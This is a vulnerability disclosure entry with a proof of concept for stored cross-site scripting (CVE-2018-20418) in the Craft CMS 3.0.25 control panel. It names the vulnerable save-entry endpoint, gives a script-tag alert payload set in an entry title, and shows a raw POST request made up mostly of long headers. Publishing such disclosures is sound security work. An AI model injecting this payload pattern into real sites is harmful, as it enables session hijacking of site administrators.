Craft CMS 3.0.25 - Cross-Site Scripting

# Exploit Title: Craft CMS 3.0.25 - Cross-Site Scripting
# Google Dork: N/A
# Date: 2018-12-20
# Exploit Author: Raif Berkay Dincel
# Contact: www.raifberkaydincel.com
# More Details [1] : https://www.raifberkaydincel.com/craft-cms-3-0-25-cross-site-scripting-vulnerability.html
# More Details [2] : https://github.com/rdincel1/Craft-CMS-3.0.25---Cross-Site-Scripting/blob/master/README.md
# Vendor Homepage: craftcms.com 
# Vulnerable Software --> [ https://github.com/rdincel1/Craft-CMS-3.0.25---Cross-Site-Scripting/raw/master/Craft-3.0.25.rar ] 
# Affected Version: [ 3.0.25 ]
# CVE-ID: CVE-2018-20418
# Tested on: Kali Linux / Linux Mint / Windows 10
 
# Vulnerable Parameter Type: POST 
# Vulnerable Parameter: http://127.0.0.1/admin-panel-path/index.php?p=admin/actions/entries/save-entry
# Attack Pattern: <script>alert("Raif_Berkay")</script> 
 
# Description
 
Allows it to run a Cross-Site Scripting by saving a new title from the console tab.
 
# Proof of Concepts:
 
POST /admin-panel-path/index.php?p=admin/actions/entries/save-entry HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Registered-Asset-Bundles: ,craft\web\assets\quickpost\QuickPostAsset,craft\web\assets\cp\CpAsset,craft\web\assets\d3\D3Asset,craft\web\assets\elementresizedetector\ElementResizeDetectorAsset,craft\web\assets\garnish\GarnishAsset,yii\web\JqueryAsset,craft\web\assets\jquerytouchevents\JqueryTouchEventsAsset,craft\web\assets\velocity\VelocityAsset,craft\web\assets\jqueryui\JqueryUiAsset,craft\web\assets\jquerypayment\JqueryPaymentAsset,craft\web\assets\datepickeri18n\DatepickerI18nAsset,craft\web\assets\picturefill\PicturefillAsset,craft\web\assets\selectize\SelectizeAsset,craft\web\assets\fileupload\FileUploadAsset,craft\web\assets\xregexp\XregexpAsset,craft\web\assets\fabric\FabricAsset,craft\web\assets\prismjs\PrismJsAsset,craft\redactor\assets\field\FieldAsset,craft\redactor\assets\redactor\RedactorAsset,IP:PORT/admin-panel-path/cpresources/699311eb/fullscreen.js,IP:PORT/admin-panel-path/cpresources/5ec6eb0d/video.js,craft\web\assets\matrix\MatrixAsset,craft\web\assets\recententries\RecentEntriesAsset,craft\web\assets\feed\FeedAsset,craft\web\assets\dashboard\DashboardAsset
X-Registered-Js-Files: ,IP:PORT/admin-panel-path/cpresources/210842f9/d3.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/8c97f5da/element-resize-detector.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/a3075e2f/jquery.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/28095e6a/jquery.mobile-events.min.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/b288a952/velocity.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/12b5557f/garnish.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/fc2132f7/jquery-ui.min.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/aeaf06ba/jquery.payment.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/6270e830/datepicker-tr.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/2fad62a8/picturefill.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/7bd34f2c/selectize.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/37456356/jquery.fileupload.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/71bf0ba6/xregexp-all.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/7f38141/fabric.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/7dfc6a65/js/Craft.min.js?v=1545257354,IP:PORT/admin-panel-path/cpresources/92be564/QuickPostWidget.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/2a8f54e3/prism.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/d443ac9b/redactor.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/d443ac9b/lang/tr.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/a919311b/js/PluginBase.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/a919311b/js/CraftAssetImageEditor.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/a919311b/js/CraftAssetImages.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/a919311b/js/CraftAssetFiles.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/a919311b/js/CraftEntryLinks.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/a919311b/js/RedactorInput.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/a919311b/js/RedactorOverrides.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/699311eb/fullscreen.js,IP:PORT/admin-panel-path/cpresources/5ec6eb0d/video.js,IP:PORT/admin-panel-path/cpresources/2fd586d6/MatrixInput.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/5938f19a/RecentEntriesWidget.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/ff3b78b9/FeedWidget.min.js?v=1545257412,IP:PORT/admin-panel-path/cpresources/86785e72/Dashboard.min.js?v=1545257412
X-CSRF-Token: 3DfArizwnHjDchbSztLrD2y9nzm5ZkSF2zukx2PZ3i6suVVTRScwwqtvPKqGXYiVZW1POc8cGtXlnjRfrfplCa1kg6nfVMOwm6fPN3BvkYrtM5QsDEV3dYhbSN1lBW6wFSNfiReM9Q3nAb9ut55USDtdUvokmt1DCs4AOm9Y0Ue1Gx1cmGd1Rzy0v3qTP3MsTi9z4tNJEVFdFMBCFtcEgKxH00WYzD8GdZk2aDlHVJHrMHOLTYzf1SzY2dJlO9ifBT0ZJcJNkvQk83bcygPe64lHjeBls_0-qCtA66-Qmz8L79Jw3QRysr5UkIEis6ZWmtAUCg9ufY_XDgrJ4D6xoV1Udw6pKny00KkAaszDUzyVXbrLuzWn063CqwRIDPS6jgr2Hjl8ERbpOinsVzELgiAbO7pxvJM00FTPI_nXFyl9NgusHfufMzqpUncmPLNxgn5yaN4mHz9EgtY7ynU6YQNTQp73e3B1bCfkd3zvZtP-KJgUwqVPbAHQUV5_HwPDxVs02R-_irNvlPeDAHaR6zdETXeKfLycZ70-kJtIqpo=
Content-Length: 857
Connection: close
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Cache-Control: no-transform
 
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